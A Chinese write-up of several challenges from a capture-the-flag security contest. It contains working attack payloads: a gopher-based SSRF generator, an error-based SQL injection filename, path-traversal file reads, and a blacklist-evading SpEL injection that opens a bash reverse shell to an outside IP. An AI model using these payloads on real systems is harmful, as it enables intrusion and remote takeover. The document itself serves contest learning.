第二届“网刃杯”网络安全大赛 部分writeup

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ICS

easyiec

流量包直接看到

web

sign_in

File协议读hosts，得到IP扫描内网，发现172.73.24.100有一台主机

根据提示打ssrf（这里我如果b赋值数字gopher就是打不了，我真的不明白）

import urllib.parse

payload =\
"""POST /index.php?a=1 HTTP/1.1
Host: 127.0.0.1:80
X-Forwarded-For:127.0.0.1
Referer: bolean.club
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

b=abc
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://172.73.24.100:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

flag{Have_A_GoOd_T1m3!!!}

upload

是sql报错注入啊…我确实对着文件名fuzz好久没出来

1.png' and updatexml(1,concat(0x7e,(select substr(flag,1,16) from flag),0x7e),1) and '

要注意让sql语句闭合，flag表是不是猜出来的…我只看到一个upload表

ez_java

任意文件读取，web.xml泄露

/download?filename=../../../web.xml

得到

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>DownloadServletservlet-name>
        <servlet-class>com.abc.servlet.DownloadServletservlet-class>
    servlet>

    <servlet-mapping>
        <servlet-name>DownloadServletservlet-name>
        <url-pattern>/downloadurl-pattern>
    servlet-mapping>

    <servlet>
        <servlet-name>TestServletservlet-name>
        <servlet-class>com.abc.servlet.TestServletservlet-class>
    servlet>

    <servlet-mapping>
        <servlet-name>TestServletservlet-name>
        <url-pattern>/test388url-pattern>
    servlet-mapping>

web-app>

下载两个类文件

/download?filename=../../../classes/com/abc/servlet/TestServlet.class
/download?filename=../../../classes/com/abc/servlet/DownloadServlet.class

看TestServlet.class，有个spel注入，可以看Rui0师傅讲得http://rui0.cn/archives/1043

public class TestServlet extends HttpServlet {
    /* access modifiers changed from: protected */
    public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req, resp);
    }

    /* access modifiers changed from: protected */
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            String name = new String(request.getParameter("name").getBytes("ISO8859-1"), "UTF-8");
            if (blackMatch(name)) {
                request.setAttribute("message", "name is invalid");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }
            System.out.println(name);
            request.setAttribute("message", getAdvanceValue(name));   //name可控
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        } catch (Exception e) {
            request.setAttribute("message", "error");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        }
    }

    private boolean blackMatch(String val) {
        for (String keyword : getBlacklist()) {
            if (Pattern.compile(keyword, 34).matcher(val).find()) {
                return true;
            }
        }
        return false;
    }

    private String getAdvanceValue(String val) {    //这里是spel执行的地方
        return new SpelExpressionParser().parseExpression(val, new TemplateParserContext()).getValue(new StandardEvaluationContext()).toString();
    }

    private String[] getBlacklist() {   //有过滤，利用反射构造绕过
        return new String[]{"java.+lang", "Runtime", "exec.*\\("};
    }
}

payload（注意需要url编码）

name=#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"bash","-c","/bin/bash -i >& /dev/tcp/180.76.184.229/9999 0>&1"})}

Misc

玩坏的winxp

桌面上有meiren.png

取下来binwalk分离，得到压缩包解压出f1ag.png，再binwalk一次，得到一个加密压缩包

本来以为这个戴围脖的软件是火狐浏览器，我真的是思路清奇，然后就卡着了

赛后看了师傅们的wp知道从qq入手，有点社工思路

访问他的qq空间留言板，得到密码md5 dc45445a8a099e63fbb9b8480d57723a，解压密码为xiaomin520

得到flag

参考wp：https://blog.csdn.net/qq_53263789/article/details/124430442

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